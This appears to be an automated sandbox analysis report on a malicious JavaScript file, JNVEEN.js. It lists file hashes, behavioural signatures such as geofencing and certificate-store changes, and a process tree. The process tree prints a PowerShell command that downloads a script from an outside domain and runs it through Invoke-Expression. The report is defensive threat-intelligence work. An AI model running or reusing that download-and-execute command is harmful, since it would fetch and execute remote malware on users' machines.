Analysis

  • max time kernel
    143s
  • max time network
    160s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231025-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231025-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/11/2023, 22:24

General

  • Target

    JNVEEN.js

  • Size

    237KB

  • MD5

    ea6fd6ca47514d9c632c119d73aef528

  • SHA1

    0d47cbd6d19a17a57077cbc0d0aa659865458672

  • SHA256

    c788100411c38388afc3438dccc05297ac7a77083f579e4a7e8d6e1479214fde

  • SHA512

    e20079b69e82eb48222635ef03a6f935871ea69f6d7715401ac208bbbb33a5af7fcb8c6c745364b31c2ee07e3f4bf2e5e5c2d1ae6ae87b795fa23230ead290ec

  • SSDEEP

    6144:k7hgXeerjqlI2Iro+Qqn7hgXeerjqlI2Iro+JGxw:ehgSlI23W7hgSlI23Ct

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\JNVEEN.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:1564
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri "http://faststroygo.com:80/jsslatecqpa");
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4680

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tbmp2wrr.vv1.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/4680-15-0x000001A6CDCF0000-0x000001A6CDD12000-memory.dmp

          Filesize

          136KB

        • memory/4680-20-0x00007FFE838A0000-0x00007FFE84361000-memory.dmp

          Filesize

          10.8MB

        • memory/4680-22-0x000001A6B1DD0000-0x000001A6B1DE0000-memory.dmp

          Filesize

          64KB

        • memory/4680-21-0x000001A6B1DD0000-0x000001A6B1DE0000-memory.dmp

          Filesize

          64KB

        • memory/4680-23-0x000001A6B1DD0000-0x000001A6B1DE0000-memory.dmp

          Filesize

          64KB

        • memory/4680-26-0x00007FFE838A0000-0x00007FFE84361000-memory.dmp

          Filesize

          10.8MB